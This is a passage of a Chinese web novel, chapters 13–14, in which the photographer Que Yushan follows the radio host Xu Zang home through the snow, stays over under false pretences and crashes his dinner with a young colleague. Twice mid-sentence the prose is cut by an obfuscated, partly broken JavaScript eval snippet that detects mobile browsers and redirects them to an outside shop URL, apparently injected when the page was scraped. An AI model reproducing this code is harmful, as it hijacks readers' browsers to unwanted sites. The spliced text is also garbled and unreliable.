访谈者适时惊讶地过场:“居然是这样不可思议的事情,想来这场病不会给战胜它的阙老师再造成烦恼了。” 观众来电提问的流程走得很快,不一会儿阙与山就已经回答了四五个问题了。 偶然有一个观众来电,提问:“不知阙老师有没有和小动物产生过什么美好的交集?” “有。”阙与山想了想,随口道,“我小时候救过一匹狼。它的腿被划烂了,血肉模糊,走不了路,也回不去家。我曾见过村里的人扯过某种草药,放在嘴里嚼嚼嚼敷上去就可以止血。我当时并不认得草药,凭着记忆扯来几株嚼嚼嚼,给那头狼敷上了。 “第二日我再来时,它的腿好多了,甚至还主动咬着一把那种草药塞给我,让我给它敷。” 访谈者握着手卡:“阙老师真是很善良、很谦虚的一个人呢。” 访谈者以及观众们夸他的词,其实阙与山自诩一个也沾不上。 他当时看到那头伤狼想的是,如果它残了,就能成为他的好朋友了。 又一个观众来电,问的问题很简单:“阙老师,你最喜欢的和最讨厌的分别是什么?” 关于这个问题,阙与山很早就想过,如今回答得倒也快。 他语气淡淡地说:“最喜欢的是,雪;最讨厌的是,下雪。” 观众来电环节结束了,访谈者进入了最后的环节,也是更加八卦劲爆的提问:“阙老师人美心善,摄影技术也极其高超。不知这么多年,阙老师有没有喜欢过什么人?” 不知是不是这几日广播电台节目听多了,阙与山脑海里许藏清冽的嗓音都不可避免地附着上一层电流声。 它们吵闹地在他的脑海里集合——阙与山我会陪你过生日;阙与山明天我们一起看日出吧;阙与山我要和你一起等又一春开花。 阙与山被它们吵得头疼,面上不显,噙着恰到好处的微笑摇头。 事实上,比那些许藏做不到的承诺更可恶的,是许藏没说过的话,因为阙与山会无数次幻想这些场景。譬如,阙与山我要走了、阙与山我不喜欢你、阙与山我有喜欢的人了、阙与山不要再烦我了、阙与山我不记得你了…… 他曾无数次阴暗地想,还处在纠结喜欢狼或是喜欢狗的年纪,就恨上许藏了。 采访结束,阙与山背上包走出演播厅,看到秋城罕见地飘起了雪,站在玻璃前停了很久。 小赵超额完成任务,不仅拖住了许藏,还带来了深夜栏目组的小道消息。 她边递给阙与山一把全新的伞,边感慨:“许藏不修仙不炼丹居然铁树开花了,这次休假回来不仅和人打招呼的时候会笑,据说还约了广播那边的新人男主播吃饭。新人主播很年轻,好像才刚大学毕业吧,声音很青春……” 阙与山蓦地看到了一抹熟悉的身影,正不急不慢地走出广播大楼,却淋着雪。他突然觉得,自己爱讲谎话的臭毛病是该改一下了。 他明明该点头,明明不喜欢狼也不喜欢狗…… “许藏。” 许藏闻言脚步一顿,没回头,却看到一把伞倾过来。 13. 勾栏的做派 许藏微微抬眸看向那把伞的边缘,很新,没有什么磨损的痕迹。 他不想回头,也不想搭理那道声音,可总有人厚颜无耻地绕到他的面前,硬要他看、硬要他听。 阙与山快速扫了一眼许藏,深夜电台节目非常耗费心神,他的脸色不太好,处处透露着疲惫。 他伸手拍了拍许藏的肩膀,将大衣上落的雪拂掉,捏着久别重逢的意外语气关心道:“下雪怎么不打伞?” 秋城气候偏暖,很少落雪,更别说像是今日这场洋洋洒洒的大雪,简直是活久见。 而且这场大雪来得毫无预兆,许藏没有提前收到天气提醒,也没有常备伞的习惯,因此上完班出来只好淋着雪回家。 这件事很简单就能相通,此时却成了阙与山拦下他的理由。 许藏像是看傻子一样瞥了他一眼,收回视线落在他单肩背着的黑色小包上,表情淡淡好似拒人千里之外,没有回答也没有离开。 阙与山应该习惯许藏这副冷漠的样子,可是他总会回忆起在玉琼雪林时,许藏所显露出的柔软和强势。 刚刚在演播厅门口,小赵所说的话再一次在阙与山的脑海里响起。 “新人男主播名叫梁又因,据说他和许藏约的饭局就在今天晚上,也就是梁又因下班的时候。 “没想到许藏那么冷的性子,也有融化的一天。对了,阙老师,您让我拦许藏是为什么……” 隔着玻璃看到那抹孤单的身影离得越来越远,阙与山只扔下一句“我有一个合作提意明天再来谈”,就匆匆地赶上即将关闭的电梯,跑出广播大楼,三只果木壳混着风雪急乱地拍在他的脸侧脖颈。 阙与山又在即将靠近许藏时慢下脚步、调整呼吸,直到气息平稳才撑伞喊人。他不知自己为何这般小心翼翼地维护在许藏面前的形象,就好像透过外壳保护了不堪一击的自尊。 尽管许藏并没有理他,但比起上一次在广播大楼内部见面,起码这次他无需强硬拉住许藏,凭借话语就能让许藏留下。 阙与山不能吝啬自己的笑容,无视他的沉默勾起唇角:“我不太了解秋城。许藏,附近有没有什么好吃的?” 阙与山撒谎了,他读的秋城大学,在这里上了四年学,几乎对秋城了如指掌,更别提城中心的广播大楼了。 许藏的视线还落在他肩头的黑色包带上,小包鼓囊囊得,里面应该装着阙与山的相机。 他目光微动,说出的话却令人心寒:“这次不需要我再利用年假给你送镜头盖了?” 阙与山的笑容微僵,偶然经由镜头盖联想到他“回礼”送的,那条许藏没拿走的素罗,眼神有点落寞:“许藏,那条送你的素罗,你为什么没有带走?” “镜头盖不是我也会是别人给你送过去,只是正好我休假时要去玉琼雪林,便顺路帮了这个忙。” 许藏的视线落在阙与山绷紧的下颌上,手指在口袋里攥住,声音又冷了一分:“你要是想用素罗回礼,不如送去电视台采访组。” 闻言,阙与山的心脏猛地一缩,像是被无形的手狠狠地捏了一把。 他的脸色有点白,表情难看起来,实在装不下去,语气沉了沉:“许藏,有必要划得那么清吗?你明知道……” 那条素罗只是我想送给你的。 后半句阙与山没有说出口,粘在喉咙上吐不出来也咽不下去。他不知道为什么许藏会有两副面孔,在大雪封山的木屋里是稚嫩的蚌肉,一下山就披上坚硬的盔甲,半分不让人靠近。 他好像没有理由拦住许藏了,但是他必须紧紧跟上,不然许藏就会消失,被淹没在层层厚雪之下。 “我收了那条素罗就可以走了?”许藏的掌心聚了一点细汗,指节不断捏紧又滑开,“那你把它给我吧。” 赤裸裸的陷阱,如果在此时将素罗给许藏,他们之间就要一刀两断了,必须拖延下去。 阙与山沉默了一会儿:“抱歉,我不知道你会不会再收。它被我放到林城的家里了,过几天再给你吧。 “许藏,我们一起吃个饭吧?” 他的邀约带着几分不确定,吐出的声音还有几个不明显的颤音。 许藏直直地看了他好久,淡漠地拒绝:“不了,我现在只想休息。” 说罢,许藏绕过面前打伞的人就往前走。 阙与山怔了一下,没想到许藏如此无情地离开,回过神来立马撑着伞跟上去,还不忘继续邀请:“那等你休息好,我们一起吃个饭吧。” “今晚我有约了。”许藏又一次不留情面地拒绝,脚步不停。 小赵打听来的小道消息一下子被证实,阙与山的表情陡然有点撑不住。 他在许藏的侧后方给人撑伞,黑着一张脸还得装毫不知情:“是谁?你那个姓越的朋友吗?” “阙与山,”许藏的脚步猛地一顿,差点被没反应过来的阙与山撞到。他没有侧头去看阙与山,疏离地开口,“我和谁有约,有什么私人行程,不需要向你汇报吧?” 阙与山只能咬着牙装无辜:“许藏,我难得来一次秋城,待不了几天,只是想请你吃饭。” “不用,你在玉琼雪林请我吃的够多了。”许藏甩下这句后继续往回家的车站去,也不管阙与山有没有跟上来,划清界限,“镜头盖给你了,回礼你过两天会给我。我觉得,我们没有再坐在一起吃饭的必要。” 吃饭的路子走不下去了,阙与山只能沉默地跟着许藏,一路走到了等公交的地方。 许藏到了地方站定,终于转了过来,再次看向垂着脑袋的阙与山,若有似无地叹了一口气:“阙与山,你到底想做什么?” 从下定决心下山,到来秋城广播大楼,再到与许藏相见。一路上,阙与山无数次地劝慰自己,许藏不过是为了工作才不得以下山,两个人的关系怎么也不会一下子回到最初的冰点,只要许藏还像在山上一样好说话,他心中名为“许藏”的种子说不定真会有开花的一天。 事与愿违,玉琼雪林的一切好像只是阙与山的一场梦,与十四年间做的并无不同,或许更加如有实质。 两厢落差过大,阙与山再次开口说话间不由自主沾了点委屈:“许藏,我以为我们的关系在雪林上已经有所缓和,可是,为什么?” 许藏轻笑了一声,表情却有些讥讽,语气很淡地开口:“阙与山,公交来之前,我再给你讲个故事吧。 “从前有个人,很喜欢喝酒。有一次他无意之间闯入了一片种植烟草的地区,那里的人卷的烟又便宜又好抽,他很快也跟着那里的人爱上了抽烟,可是在之前,有人明确地给他说过,烟草对身体并不好,也警告他不要来这片区域。 “但是他上头了,每日至少得抽一包烟才能压下那无穷无尽的瘾。那片区域的人也很喜欢他,坚决不放他走。他只能每天劝诫自己,却借着沉沦烟草。终于有一天,他借机离开了那片地区,斩断了一切能够联系上他的方式,永远不再踏入烟草地,也不再抽烟。烟瘾犯了,他就拼命喝酒,最终戒掉了烟瘾,染上了酒瘾,终日饮酒,最后因为饮酒过量去世了。” “阙与山,你知道这个故事的寓意是什么吗?”许藏很平静地问道。 阙与山站在原地,将伞换了个手撑着,一双灰蓝色的眼睛紧紧地盯着人,没怎么想就接道:“及时止瘾?” “不对,”许藏看到他等的那辆公交车就停在远处的红灯后,不急不慌地慢慢解释,“我讲它只是想给你说,我从雪林离开时没有给你留电话号码,就像故事的主人公下定决心永远不再抽烟一样,不会再联系你了。 “我们从雪林雪停后,就此分道扬镳,永远不见。” 阙与山的脸色一下子变得特别难看,握着伞骨的手攥得发白,又被寒风染上一层青色。 还不等他开口,许藏又接着在他的心上扎刀:“阙与山,你此时此刻缠上来,是忘不了木屋的暧昧?想追上来做我的床伴?” 公交车缓缓地进站,在许藏面前停下,打开车门。 许藏没有等到他回话,兀自收回目光,转身下台阶,迈进了公交车的前门。 阙与山木着脸收伞,僵着身子跟着上了这趟公交车,又自顾自地坐到了许藏的后面。 他后知后觉地发现,许藏在雪林讲的两个故事都是好结局,说的话也好听,不像现在,恨不得冻成冬月的冰刃,在他身上戳好几个洞,还流不出血。 外面的雪下得很大,快速地在地面结上一层白霜,公交车行驶的速度也降了下来。 阙与山冻僵的脑子终于被自己的体温暖化了,伸手在许藏的背后拍了拍。他能明显地感受到掌心的、隔着衣服的背一僵,若无其事地又拍了几下。 许藏好似终于不耐烦了一般,偏了偏头,语气稍稍缓和,在大庭广众之下没再提床伴的事情:“有事?” “借你的手机一用,打个电话。”阙与山的语气正常,像是根本没有听到许藏的那句挖苦。 许藏不明就里,也不知阙与山为什么没有知难而退,反而漠不关心地向他借电话。 他顿了一下,还是从口袋里拿出了手机递给阙与山。 阙与山拨的号码是林木深的木屋固定电话,他不确定林木深现在能不能接电话。 不过无所谓,就算没人接,他也能装作有人接。 电话嘟了几声,还是被接通了,阙与山听到了林木深的声音,表明身份:“是我。” “你居然真的去买手机了?这是你的号码?我得存一下……”林木深的语气听起来非常欣喜。 阙与山没有解释这个号码是许藏的,只是将错就错地“嗯”了一声,再次提醒道:“不要忘了通知我。” “知道了,又一春又不是不开了,一天催三次。”林木深那边传来沙沙的声音,应该是在用笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233883|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记录号码,嘴里还不忘吐槽,“我很忙的,没事了吧?没事我挂了。” 林木深说到做到,阙与山刚“嗯”一声,他就把电话撂了。 耳边传来挂电话后的嘟嘟声,阙与山没有将手机拿开,目光在许藏露出来的一片白皙后颈处扫了一眼,就着这个姿势继续自顾自地说话:“出门匆忙,身上没带多少钱。” 阙与山故意停顿了几秒,像是在等电话那头的人说话一样,然后语气平淡地开口:“没事,总归不会睡大街。” 他想了想,又补了一句:“雪下得挺大,也不会睡公园长椅,更不会睡桥洞。” 随后,阙与山神色自若地将手机从耳边撤了下来,在屏幕上的拨号页面看了两眼,将它递给了许藏。 等到许藏伸手接的时候,还不忘乖巧地说声:“谢谢。” 许藏没有说话,收了手机塞进口袋后,将脑袋一偏,轻轻地靠在公交车的车窗上。 不知是不是阙与山的错觉,他好像看到许藏的肩膀轻轻地颤动,或许只是被公交车时走时停带动的。 许藏住的地方离广播大楼并不远,公交车虽然走得慢,但还是很快就到了站。 他起身时看到侧后方的阙与山也立马站起来,不动声色地从后门下了车。那把伞撑得很快,几乎没让许藏淋到雪。 许藏不问,阙与山也就不说话不解释,兀自跟在他的旁边,七拐八绕地走进居民区。 此时的早餐摊还没撤,阙与山快走几步堵在许藏的前面,不容置疑地将伞骨塞进他的手里,也不管许藏会不会把伞扔了,去旁边打包了两份早餐。 许藏到底没有将那把崭新的伞扔到路边,只是仍不快不慢地往里走去。 阙与山等早餐时不停回头看许藏,拿到后立马追着许藏离开的方向而去,走到许藏旁边时还不忘把伞接过来。 两人一前一后进了老旧的居民楼,光线一瞬间暗了下来,两侧墙上贴着的小广告一个覆盖一个。 楼道不算宽阔,台阶也很窄,边缘处有磨损破旧残缺的痕迹,两个大男人挤在楼梯上实在难以伸展开。 阙与山等许藏先上,在楼梯口将伞收好甩了甩,沉默地跟了上去。整个空荡的楼道里只剩下衣服的摩挲声、果木壳轻微碰撞的空灵声。 许藏租的房子在三楼,面积不大的一居室,麻雀虽小五脏俱全,甚至还带一个阳台。虽然他并没有能力将花草照顾好,在他家能活下来的通常只有平易近人的多肉和外冷内热的仙人掌。 许藏停在了自家的防盗门前,从口袋中拿出钥匙开门,将厚重的铁门拉开一个弧度却没有进去。 他的余光瞥见阙与山一手拎着早餐一手攥着伞,站在矮自己两道的台阶上,没什么情绪地开口:“我好像没有邀请你到家里做客吧?” 蒙混过关的小心思被点破后,阙与山有些局促地将一份早餐从勒红的手指上勾起来,递给许藏。 他的语气带了几分讨好:“吃点再休息吧?” 许藏没有答话,视线淡淡地移到他递过来的手指上。 阙与山的手在寒冷中冻久了,突然进到温度稍高的楼道,像是被火从内而外的灼烧。而许藏如有实质的目光像是一把刀,在阙与山的指节上刮着,让他无所适从。 正在犹豫要不要收回手的时候,许藏像是不想浪费粮食,一反常态地接过那份早餐,走进了家。 他面朝阙与山,倚在门框上,一手撑着铁门,语气稍缓:“阙与山,我到家了,你可以走了。” 阙与山不仅没走,还顺杆而上地上了两节台阶,凑在门前挤压许藏的空间,左耳的果木壳摇曳出一道弧线,叮咚地刺激着两颗靠近的心脏。 他温顺地低下头做出一副可怜的模样,语气也软了不少:“许藏,我不认路,不知道怎么离开这片居民区。” 许藏很想说,它这栋居民楼离出口就拐个弯的功夫,傻子都认路,再不济找个人带着总能出去。 但是他看到阙与山那双湿漉漉的眼睛,在昏暗中透着灰蓝色的光,将不好听的话又咽了回去。 许藏没说话就是好消息,阙与山的眼睛亮了一下,却依然要克制地装出楚楚可怜的模样,只能将手指掐得十分狠才控制住。 他趁势继续剖析自己:“许藏,那通电话你也听到了。我这次来没带多少钱,住不起旅馆。明天还要去电视台商议合作,今晚能不能借住在你家?” 许藏面无表情地想,阙与山撒谎的技术真的很差。 刚刚在公交车上,电话那头明明已经挂了,阙与山还兀自地在他面前卖惨、为借住铺垫。 很明显,阙与山几乎没用过手机,也不了解电话挂后屏幕会亮,更不知道许藏会从公交车的玻璃反光上看到他撒谎的全过程,且克制半天还是忍不住轻笑。 “只有单人沙发。” 许藏头也不回地进了家,却留了门。 14. 小四的气量 阙与山将伞放到了门口,拎着一份早餐进了门,反手带上了门,沉重的“咔哒”一声。 他立在玄关的地垫上,趁着许藏换鞋之际打量鞋柜以及目光所及的房间内部。鞋柜里的鞋并不多,瞧着只有许藏一人的,内部陈设也没有很明显的双人居住痕迹。 阙与山暗自松了一口气,接过许藏递过来的未拆封拖鞋,客气地说了一声谢谢,借着弯腰换鞋之际漫不经心地打探:“你那位姓越的朋友……不住这里吧?” 许藏似乎心情还不错,没有立即讽刺回来,只是表情有些古怪地回身看他,“你好像对他很关注?之垠的工作在游城,家自然也在游城。” “没有,”阙与山毫不犹豫地回答,将自己的鞋老老实实地放到鞋柜后,直起身一通胡扯,“我以为你们一起去玉琼雪林旅游,是广播组都在这个时候休年假。” 不同居就好,工作不同加上异地更好了,两个人听起来就没什么感情,怪不得那什么之垠会让许藏一人上山,也没有睡过一张床。 许藏看到阙与山的表情都明媚了几分,没有理他,莫名其妙地进了厨房,端来了碗盘和餐具。 两个人脱掉微湿的外衣,面对面坐在客厅的桌子上,吃起了早餐。许藏租的房子虽然在老旧的居民区,但暖气打得很足,阙与山吃了几口就觉得热,将毛衫也脱了,仅剩了一件打底的黑色衣服。 许藏的目光从桌子上抬起来,骤然一愣。 阙与山的吃相不算优雅,十分朴实。一件黑色的贴身毛衣将上半身的轮廓全部勾勒出来,流畅的肌肉线条顺着光滑的布料蜿蜒而下。他的肌肉并不夸张、恰到好处,常年奔波致使阙与山看起来肩宽腰窄、劲瘦有力,绷紧时摸起来应该很硬实,非常有爆发力。 他的头发微长,零落地散在肩上、颈侧,比黑色毛衣浅,蜜色的皮肤又比发色浅不少,最后是那双灰蓝色的眼睛,像是沉稳内敛的灰蓝调色盘和谐地打翻在阙与山身上。 阙与山似有所感,抬眸与许藏对视,左耳的果木壳发出好听的碰撞音。 他突然浅浅地笑了,嘴角两边的脸颊肉微微鼓起来,谆谆善诱:“许藏,我在秋城人生地不熟,你晚上的饭局能不能带上我?” 许藏的神情微动,收回目光垂眸,吃掉最后一口早餐,才不急不慢地宣布:“不行。” 他没有留给阙与山施展的空间,收拾完餐具后从卧室攥着居家服,头也不回地进了浴室。 再出来时,许藏一手用毛巾揉湿润的头发,还不忘尽地主之谊,从柜子里挑挑拣拣给阙与山一套换洗的衣服以及未拆封的生活用品。 他又头顶着毛巾,将一床被褥抱到那张单人沙发上。说是单人沙发不太贴切,它没有两端扶手,靠背也不能翻下去,挤一挤大概能坐下三个成年男人。但是对于阙与山来说就过于窄小,他必须蜷住身体才勉强全躺上去,否则两条腿必然垂落大半。 许藏看了看那张沙发,貌似也觉得躺在其上颇有为难阙与山的意思,但是放人进来又不能赶走。 他提出了另一种解决方式:“实在不行,就打地铺吧。” 阙与山没有出声,许藏当他默认了,又翻箱倒柜扯出来几床褥子,垫了一张凉席在最底下,铺成了一个看起来很温软的窝。 许藏仁至义尽,疲惫地回了卧室,定上闹钟后几乎倒头就睡。 闹钟铃声是很简单的调子不断重复,许藏从被子里伸出一只修长的手,将它关了。 他搓了搓脸,有些惺忪地从床上坐起来发呆。这一觉睡得很沉,但开始总觉得周围有细碎的声音在响,到后半段才停止。 不用想就知道是阙与山制造的噪音,思及此,许藏的视线微微偏移至半开的房门,途中偶然见余光瞥见床边的地上,立马被吸引了目光,随后怔住了。 他早上给阙与山打的地铺不知什么时候被拖进了卧室,甚至毫不避嫌地紧贴床边。其上乱糟糟的被褥和歪七扭八的枕头,是阙与山躺过的痕迹。 居然在毫不知情的情况下被侵袭了领地,许藏漆黑的眸子幽深,掀起被子、赤足踩着某人的窝下床,拉开房门找寻罪魁祸首。 一居室很小,站在卧室门口能将几乎整个屋子巡视一遍,可是却没有发现阙与山的踪影。 许藏微微蹙眉,似有刚睡醒时的不耐烦,语气不虞:“阙与山?” 整个房间内无人回答。 许藏骨节分明的手叩在卧室门框上,指腹捏着木质边框,指节微微泛白。他的目光又巡视了一遍,从沙发上落下的黑色小包,到阳台上挂着已经洗干净的黑色打底毛衣和内裤,属于阙与山的东西都在这里。 他突然觉得,在某方面,阙与山和林木深养的那只、喜欢在外撒欢的中华田园犬土豆,有异曲同工之处。 想起口中没几句实话的阙与山,在他家门口说的那句,“我不认识离开居民区的路”,许藏现在就有点想笑。 他松开手,转身回了卧室看了眼时间,快速地收拾好自己,穿了衣服后带上手机和钱,换了鞋出门。许藏在门口想了想,将一把备用钥匙塞进了旁边的杂货架子里。 许藏出门时,秋城的雪几乎没再下了,零零散散飘下几片雪,在街边路灯的照耀下像是春日的柳絮。 路上还是积了一层雪,踩上去嘎吱嘎吱的。好在约定的地方离他家不算远,许藏快步绕出了居民区,没有打车选择步行。 仅仅十几分钟,天空就又暗下去一个度。 许藏裹紧围巾,又行了几分钟,拐进了一家装潢不错的雅致私厨。他向迎上来的服务员说了一个预定好的房间号,随后被引了进去。 许藏是最先到的,他将外衣和围巾取下挂在衣架上,闲来无事翻看菜单。 约莫过了有三四分钟,房间的门被敲响了,服务员帮忙打开了门,和许藏约饭的梁又因走了进来。 许藏刚要说话,目光越过他看到了后面紧跟而来的阙与山,神情骤然怔愣。 服务员识趣地关上了房间的门,梁又因笑着赔罪:“许老师,让你久等了,我和阙老师在路上耽搁了一会儿,实在抱歉。” 许藏没有理梁又因,视线紧紧地锁在他身后,比他高出一头的阙与山身上。 他的语气听不出情绪,却又好似夹杂着寒风,毫不留情地刮着阙与山:“这就是你所谓的,在秋城人生地不熟?” “阙老师确实人生地不熟,”梁又因眼看他俩气氛不多,不等人开口,忙从中调停,“他为了许老师不远千里送镜头盖的事,专程向我讨教如何能约到许老师。我私以为不必那么麻烦,许老师又不是什么洪水猛兽,算我自做主张,将阙老师邀请来。 “为了赔罪,这顿我请吧。” 许藏面无表情地盯着阙与山,看他逃避的眼神,不由得一哂:“不用那么见外,来者是客。” 听到许藏在“客”字上很明显的咬音,到现在没说过话的阙与山偏开的眸子蓦地一暗。 他今日躺在许藏的家,一想到他晚上要和别人去吃饭翻来覆去睡不着,思来想去决定从另一方下手。阙与山下午的时候回了一趟秋城广播大楼,给小赵红包后又借她的光见到了这位新人男主播梁又因。 彼时,阙与山站在播音室门口,一听到梁又因清澈青春的声音,瞬间就想起了,在玉琼雪林时,许藏拿着他的收音机听的那档广播节目。 许藏必然是很喜欢这个新人,才会远在雪林木屋时,偶然从收音机里听到他的声音后不放手,回到岗位还接受他的约饭。 阙与山不知道自己是怎么在梁又因面前强装出虚心求教的样子,口袋里的果木壳差点就被他捏碎。 据小赵夸张的描述,他那一套话术,游刃有余如鱼得水炉火纯青,将人骗得一愣一愣的,简直堪称社交的模范。 不过,确如传闻所说,这个刚刚大学毕业的梁又因年轻朝气,为人和善,穿着简单的卫衣很是青春。 在等梁又因下班时,阙与山无数次在播音室门口,阴沉着脸绷紧下颌,隔着玻璃扫视他的时候,脑子里都在想收音机那事,越想越气、越想越觉得自己给别人做了嫁衣。 而此时,梁又因夹在两人中间,清澈得好似感受不到剑拔弩张的气氛:“我看前台摆着好酒,许老师今晚正好休息,不如我们一起喝一点?” 没人理他,梁又因眨了眨眼睛,就当他们默认了一般,转身绕过阙与山出了房间。 没了梁又因的遮挡,许藏一下子看到了阙与山的全貌以及他身上穿的衣服。 阙与山这一身从上到下,从里到外都与今早不同,而且衣服都是许藏熟悉的,甚至是常穿的。也就是说,在许藏睡着的情况下,阙与山不仅不经同意私自拉着他的窝进卧室,从衣柜里扒出来一整套衣服偷偷换上,还瞒着他去梁又因那边耍小伎俩。 许藏的视线从下而上地扫过阙与山,陡然被他奇怪的所作所为气笑了,语气沉了下去。 “阙与山,我好像从来没告诉你,我约的是谁吧?你的消息很灵通?是不是不用跟着我,也能打听到我家在哪?” 阙与山穿的不多,导致他就算在暖和的包厢里站了会儿,鼻尖还是通红。 他脱了外衣挂在衣架上,露出里面的米色针织衫,是第一次在秋城广播大楼见到许藏时,他穿的那件。 许藏的身材比他单薄些许,因此衣服套在阙与山身上,有一种被放在模特身上撑展了的感觉,甚至减弱了他身上成熟野性的味道,多了一点学生气。 阙与山回过身,在许藏的旁边坐下,不回答他的话,明知故问:“你为什么不高兴?因为我打扰到你们了吗?” “那你走吗?”许藏冷冷地回道。 阙与山的眼睫微颤,灯光打在其上,落下一片阴影看不清情绪:“许藏,我还没有吃饭。” 又打感情牌,和在家门口的时候一样。仅仅是放阙与山进门,就横生出这么多不在计划之中的事,许藏不敢继续赌。 他不为所动,语气依旧不善:“是我拦着你,不让你吃饭吗?” “可是许藏,这个时候回去,我进不去家门。”阙与山抬起那双湿润的灰蓝色眸子望过来。 他说的话像是一只被丢弃的小狗,但许藏现在没有养狗的义务:“门口杂货架上有备用钥匙。” “我找不到。”阙与山厚着脸皮一动不动。 阙与山总有理由装傻充楞,许藏懒得再跟他说这件事,目光落到了桌子上的菜单,简单地浏览。 “许藏,”阙与山的语气有点犹豫,“是他约的你吗?” 许藏还在看菜单,淡淡地回答:“怎么?这个打听不到了?” “不是,”阙与山好像突然有点沮丧,语调也降下去,“我想表达的是,既然他可以,为什么我不可以?” 省去了“约你吃饭”几个字,阙与山模棱两可的话倒像是在深情表白。 许藏捏着菜单的手指颤了几下,又克制下去。他明确地知道,阙与山不可能那么做,他只是在报复,报复许藏在雪林时的所有暧昧过界,报复许藏在决定放手后,下山前极尽放纵自己来宽慰释怀,生满情愫的十四年。 十四年前,许藏就知道,阙与山的野性需要有人臣服,阙与山的孤立不会给出回应。许藏不过是在,十四年后,最晚的时间重蹈覆辙,又恰巧不想臣服了。 许藏只能无数次扼杀往外冒的东西,冰封后浅浅吐出一口寒气:“阙与山,没必要。” 梁又因就是在这个时候拎着酒推开门进来,他的目光一下子落在了阙与山穿的那件针织衫上,愣愣地开口:“这件不是……” “许藏借我穿的。”阙与山一下子直起了身,确保他能看到针织衫的全貌。 梁又因看许藏默认,呆呆地点头,一时之间没理解为什么许藏借衣服却独独不跟阙与山约饭。他将酒放到桌子上,去门口招呼一个服务员进来,转头问许藏:“许老师,你先点菜吧。” 许藏没客气,一连点了几个菜,其中有一道名叫“银丝抱月”。 阙与山听到这道菜名瞬间就想起了和许藏一起旅游的那位朋友越之垠,他再看梁又因时,实在没忍住小声嘟囔:“许藏也太不专一了……” “什么?”许藏显然没听清,蹙眉朝他看来。 阙与山转念一想,越之垠能陪许藏旅游,梁又因能约许藏吃饭,或许之后还会有其他不知名的人挤在他前面。 “没事。”他的脸色瞬间差得可以,说话都是气音。 许藏没理他,点完菜后,顺手开了酒,给三个杯子里都倒了不多的量。 凉菜很快就上来了,梁又因接过酒杯扫了一眼,打趣道:“许老师,你这是看不起我?我可听说,你是千杯不醉。” 千杯不醉?明明喝林木深的酒几杯就倒,还断片。 阙与山扯了一下嘴角,但没有揭穿许藏的真面目,微笑地迎合:“是吗?” “阙老师,你不知道许老师酒量很好吗?”梁又因面露不解。 或许梁又因只是真诚地发问,但是这话落到阙与山的耳朵里,和赤裸裸的挑衅没有区别。 他举起酒杯和梁又因碰了一下,面上拿捏着恰到好处的微笑,攥着酒杯的指节用力到泛白:“当然知道,我认识他十四年了,怎么会不知道?” “这么久?”梁又因惊讶后,又回过神觉得很奇怪,两人认识这么久,还需要他这个外人来攒局,不过他很识趣地没有问。 “那您二位的情谊真是深厚!” 阙与山眯了眯眼,从中又琢磨出讽刺的意味,面上不显地劝酒。 还没说几句冠冕堂皇的话,梁又因那边就喝了四五杯酒了。 阙与山拿着酒瓶还要再给梁又因倒酒的时候,一只骨节分明的手按住了他,他顺着手看到了表情很淡的许藏。 他的下颌绷得很紧,盯着许藏两三秒才哂笑:“怎么?舍不得了?” “我不和酒鬼一桌,”许藏没有正面回答他的话,几近抢似的从阙与山手里夺过来酒瓶,“上菜不是摆设,你们要是想手拉手进医院,别麻烦我。” 梁又因撑了一下脑袋,有点上头:“许老师说得对,我们吃菜!今夜还早,不醉不归!” 阙与山没吃几口,就开始盯着梁又因套话:“你是什么时候认识许藏的?” “那就早了,我大学就听许老师的深夜节目了。他的恐怖故事很有名,我室友又菜又爱听,常常半夜哀嚎。”梁又因笑了好几声,脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233884|197646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转得有点慢,“我可是许老师的粉丝,喜欢许老师很久了,这次能分到广播组,感觉能跟着许老师学到很多。” “喜欢许老师很久了……”阙与山着重嗫嚅这一句话几遍,突然勾起唇角笑了,调侃道,“你才多大,听了他几个月广播就说很久?” 梁又因想了想,认真地回道:“二十三了,马上过二十四的生日,也不算小了。” “许藏,你觉得呢?”阙与山将问题抛给一旁默不作声的许藏。 许藏撩起眼皮扫他一眼:“我觉得,我一个人吃不完这么多菜。” 对于许藏的顾左右而言他,阙与山只是笑了一下,顺手给许藏的酒杯里斟满,拿起自己的和他碰了一下后,也不管对方,一饮而尽。 他的目光锁在许藏身上,话却是问梁又因的:“你二十四岁的生日打算怎么过?” “还能怎么过?和朋友一起吃饭、玩闹,收几个礼物,简简单单得就过了。”梁又因回道。 阙与山的视线下移,落在许藏手边的那杯酒上,像是在用眼神催促他赶紧喝,嘴上却继续生日的话题:“你会邀请许老师吗?许老师会送你礼物吗?” 梁又因愣了一下,似乎没理解他怎么突然把话题引到许藏身上,不过他看了眼许藏,认真地问:“许老师会来吗?” “嘭”的一声,阙与山几乎是将酒瓶砸在桌子上,他故作不好意思地道歉:“对不起,手滑了。” 许藏扫了气压很低的阙与山一眼,兀自将酒喝了,从他的手里拽过酒瓶,自斟一杯又干了,像是真心话答不上来的惩罚。 阙与山好像很满意他的表现,厚颜无耻地替许藏回答了:“许藏不会去,他有约了。” “有约?”梁又因的表情很明显地失落起来,转眼又明媚,他抓着酒杯喝酒,囫囵间说,“没事,生日又不是只有一次。” 阙与山颇为赞同地点点头,转过头噙着笑看向许藏,只是笑里仿佛浸着毒:“生日那么多次又没有几次,许藏,你要拖到什么时候,才会履行你的承诺?” 许藏沉默不语,喝了几杯酒又吃菜,就是不回答。 